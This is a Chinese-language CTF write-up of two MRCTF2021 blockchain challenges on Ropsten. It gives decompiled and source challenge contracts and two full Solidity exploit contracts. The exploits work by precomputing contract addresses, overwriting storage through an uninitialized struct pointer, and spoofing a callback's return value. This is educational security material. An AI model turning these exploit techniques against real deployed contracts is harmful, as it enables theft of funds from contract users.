MRCTF2021 BlockChain Writeup

MRCTF2021 BlockChain Writeup

Retr_0师傅为MRCTF2021出的两道区块链题,我来捧个场。

Check_IN

0xE27eAb49f660451df7157cA812fcF1c719Cf504e@Ropsten

题目没有给源代码,需要先逆向。

Decompiled

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// Decompiled at www.contract-library.com
// 2021.04.08 08:04 UTC

// Data structures and variables inferred from the use of storage instructions
mapping (uint256 => [uint256]) success; // STORAGE[0x1]
mapping (uint256 => [uint256]) _addAuth; // STORAGE[0x2]
mapping (uint256 => [uint256]) owner_3; // STORAGE[0x3]
address target; // STORAGE[0x4] bytes 0 to 19


function is_successful(uint256 varg0) public nonPayable {
return 0xff & success[varg0];
}

function 0x803255cf(address varg0) public nonPayable { // auth
v0 = v1 = 0xff & _addAuth[msg.sender];
if (!v1) {
require(target.code.size);
v2, v0 = target.model(msg.sender).gas(msg.gas);
require(v2); // checks call status, propagates error data on error
require(RETURNDATASIZE() >= 32);
}
require(v0, 'You are not allowed to use this');
_addAuth[varg0] = 0x1 | ~0xff & _addAuth[varg0];
}

function 0xba9ed984() public nonPayable {
return target;
}

function 0xd1f6722e(address varg0) public nonPayable {
return owner_3[varg0];
}

function 0xf2889ac4(address varg0) public payable {
MEM[(MEM[64]) len 409] = 0x6080604052604051602080610199833981018060405281019080805190602001909291905050506720607b23a4fc80003073ffffffffffffffffffffffffffffffffffffffff163114156100a55760016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5060e5806100b46000396000f300608060405260043610603f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633df18d2a146041575b005b348015604c57600080fd5b50607f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506099565b604051808215151515815260200191505060405180910390f35b60006020528060005260406000206000915054906101000a900460ff16815600a165627a7a72305820745e57a4423074f83d04e2448b3847ef1a25af605e309ab7927f9168d14708c20029;
MEM[409 + MEM[64]] = varg0;
target = create.code(MEM[64], 441);
}

function fallback() public payable {
revert();
}

function 0x39b4b0d6() public payable {
v0 = v1 = 0xff & _addAuth[msg.sender];
if (!v1) {
require(target.code.size);
v2, v0 = target.model(msg.sender).gas(msg.gas);
require(v2); // checks call status, propagates error data on error
require(RETURNDATASIZE() >= 32);
}
require(v0, 'You are not allowed to use this');
if (block.timestamp % 0x5f5e100 * 0x2540be400 == msg.value) {
owner_3[msg.sender] = owner_3[msg.sender] + msg.value;
v3 = msg.sender.call().value(msg.value).gas(!msg.value * 2300); // transfer back
require(v3); // checks call status, propagates error data on error
}
}

function getflag() public nonPayable {
v0 = v1 = 0xff & _addAuth[msg.sender];
if (!v1) {
require(target.code.size);
v2, v0 = target.model(msg.sender).gas(msg.gas);
require(v2); // checks call status, propagates error data on error
require(RETURNDATASIZE() >= 32);
}
require(v0, 'You are not allowed to use this');
require(owner_3[msg.sender] > 0xde0b6b3a7640000); // 1 ether
success[msg.sender] = 0x1 | ~0xff & success[msg.sender];
}

function addAuth(address varg0) public nonPayable {
return 0xff & _addAuth[varg0];
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(uint32 function_selector) public payable {
MEM[64] = 128;
if (msg.data.length >= 4) {
if (0x39b4b0d6 == function_selector) {
0x39b4b0d6();
} else if (getflag == function_selector) {
getflag();
} else if (0x5422224e == function_selector) {
addAuth(address);
} else if (is_successful == function_selector) {
is_successful();
} else if (0x803255cf == function_selector) {
0x803255cf();
} else if (0xba9ed984 == function_selector) {
0xba9ed984();
} else if (0xd1f6722e == function_selector) {
0xd1f6722e();
} else if (0xf2889ac4 == function_selector) {
0xf2889ac4();
}
}
fallback();
}

可以看到想要getflag的话必须先让_addAuth为真、或者在去调用target.model函数来检查。在这个合约里一眼看不到能够从外部对_addAuth进行修改的地方,所以把目光转向target.model这里的校验。

0xf2889ac4中创建了一个新的合约并且赋值给了target。所以去逆向这个新的合约。发现只要在创建的时刻这个合约自己有2.333ether就可以通过验证。

还需要有一定的钱,可以直接调相应的函数拿钱。

Expliot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0;

contract Hacker {
address owner;
address target = 0xE27eAb49f660451df7157cA812fcF1c719Cf504e;
address child;

constructor(address current) payable {
require(msg.value == 0x20607b23a4fc8000 + 0x5f5e100 * 0x2540be400, "Insufficient fund"); // 3.333 ether
owner = msg.sender;
attack(current);
}

fallback() external payable {}
receive() external payable {}

modifier auth {
require(owner == msg.sender, "Not Allowed");
_;
}

function setchild(address cchild) internal {
// set the next child according to the given nounce / cchild
address candidate;
uint8 nonce = 7;
for (; nonce < 0xff; nonce ++) {
candidate = address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), target, nonce)))));
if (candidate == cchild) break;
if (nonce == 0xff - 1) require(true == false, "cchild too large or invalid");
}
child = address(uint160(uint256(keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), target, nonce + 1)))));
}

function test(uint8 nonce) public view auth returns(bytes32) {
// take last 160 bits as address, not upper 160bits
return keccak256(abi.encodePacked(uint8(0xd6), uint8(0x94), uint160(target), nonce));
}

function getchild() public view auth returns(address) {
return child;
}

function createchild() internal {
bool res;
(res, ) = target.call(abi.encodePacked(bytes4(0xf2889ac4),uint256(uint160(address(this)))));
require(res == true, "Call 0xf2889ac4 failed.");
}

function debug() public view returns (bytes memory) {
return abi.encode(bytes4(0xf2889ac4),address(this));
}

function attack(address cchild) internal {
setchild(cchild);
(payable(child)).transfer(0x20607b23a4fc8000); // 2.333 ether

// create the child
createchild();

// call 0x39b4b0d6 to mark owner3 to 1
uint sum = 0;
uint sendvalue = block.timestamp % 0x5f5e100 * 0x2540be400;
while (sum <= 1000000000000000000) {
bool res;
(res, ) = target.call{value: sendvalue, gas: gasleft()}(abi.encodePacked(bytes4(0x39b4b0d6)));
require(res == true, "attack(): Call 0x39b4b0d6 failed.");
sum += sendvalue;
}

getflag();
}

function getflag() internal {
bool res;
bytes memory success;
(res, ) = target.call(abi.encodeWithSignature("getflag()"));
require(res == true, "Call getflag failed.");
(res, success) = target.call(abi.encodeWithSignature("is_successful(uint256)", uint256(uint160(address(this)))));
require(res == true, "Call is_successful failed.");
require(uint8(success[31]) == 1, "getflag() not success");
selfdestruct(payable(owner));
}
}

学到的东西

  1. revert会连带合约自己的nonce一同revert会去,也就是说如果创建合约失败,下一次创建合约还是在这个失败的地址上创建。以及,合约的nonce和用户不同,从1开始。
  2. 用encodePacked而不是encode
  3. remix的gas estimate准到离谱,要相信他的报错,他的报错是我们部署之前检查的机会。

uncertainty

0x47b9bdCFFCC6bb1851442E5e9dacCBE6F84C1841@Ropsten

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
pragma solidity ^0.4.17;

interface merak {
function Merak(uint) view public returns (bool);
}

contract unlock{
uint win;
address owner;
bool public winned;

constructor() payable {
owner = msg.sender;
winned = false;
}

function getaddress()public returns(address) {
return address(this);
}
}

contract flag { // first contract

address public owner;
mapping(uint256=>bool) is_successful;

constructor() payable {
owner = msg.sender;
}

function getaddress() public returns(address) {
return address(this);
}

function getflag() public payable {
challenge A = challenge(owner);
require(A.gettingflag());
is_successful[uint256(challenge(owner).tt())] = true;
}
}

contract ez{
uint win;
address public owner;
bool public success;

constructor() payable {
owner=msg.sender;
}

function getaddress() public returns(address) {
return address(this);
}

function betting(uint ss) public payable {
address target = challenge(owner).tt(); // set tt to hacker address
merak hack = merak(target);
if(!hack.Merak(ss)){ // 123 returns 0
win = ss;
success = hack.Merak(win); // 123 return 1
}
}
}

contract challenge{
address public target1; // 0 a -> control
address public target2; // 1
uint256 length; // 2 c -> control
address public tt; // 3
bytes32[] public a; // 4
uint256 meiyong; // 5
address public target3; // cannot overload
unlock A;
flag B;
ez C;

struct edge {
uint256 loginid; // 0
uint256 time; // 1
uint256 maybe; // 2
uint256 val; // 3
address logined; // 4
}

constructor() payable {
A=(new unlock).value(0.0001 ether)();
B=(new flag).value(0.0001 ether)();
C=(new ez).value(0.0001 ether)();
target1=address(A);
target2=address(B);
target3=address(C);
}

function login(uint256 a, uint256 c) public payable { // call login to overwrite target1
edge temp;
temp.loginid = a;
temp.time = now%1000;
temp.maybe = c;
temp.val = msg.value;
temp.logined = msg.sender;
tt = msg.sender;
}

function getaddress()public {
target1=A.getaddress();
target2=B.getaddress();
target3=C.getaddress();
}

function pop() public {
require(msg.value==0.1 ether);
length--;
for(uint256 i=0; i<=length; i++)
a[i]=a[i+1];
msg.sender.call.value(msg.value)();
require(length>=0);
}

function push(bytes32 num) public {
length++;
require(msg.value==0.1 ether);
msg.sender.transfer(msg.value);
for(uint256 i=length; i>=1; i--) {
a[i]=a[i-1];
}
a[0]=num;
}

function revise(bytes32 tt,uint256 len)public {
require(len<=length, "not enough");
a[len]=tt;
}

function gettingflag() public returns(bool) {
ez(target3).betting(123);
if (ez(target3).success() == true && unlock(target1).winned() == true)
return true;
else
return false;
}
}

看了很久,才理清三个合约之间的关系,发现unlock(target1).winned没有地方能够修改,才发现是变量覆盖。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0;

interface Target {
function login(uint256 a, uint256 c) external;
}

interface Flag {
function getflag() external;
}

contract Hacker {
uint padding;
address owner;
bool public winned = true;
address target = 0xDb8d039189547D4a7766912503d101FEE7bb1c7f;
address flag = 0x47b9bdCFFCC6bb1851442E5e9dacCBE6F84C1841;
bool called = false;

constructor() payable {
owner = msg.sender;
}

fallback() external payable {}
receive() external payable {}

modifier auth {
require(owner == msg.sender, "Not Allowed");
_;
}

function login() internal {
// mark tt -> msg.sender and target1 -> this
Target(target).login(uint256(uint160(address(this))),0);
}

function attack() public auth {
login();
Flag(flag).getflag();
}

function Merak(uint a) public returns (bool) {
require(a == 123, "Who are you ? not Victim calling.");
if (!called) {
called = true;
return false;
} else {
return true;
}
}

}

赛后师傅说可以用revise实现任意storage写。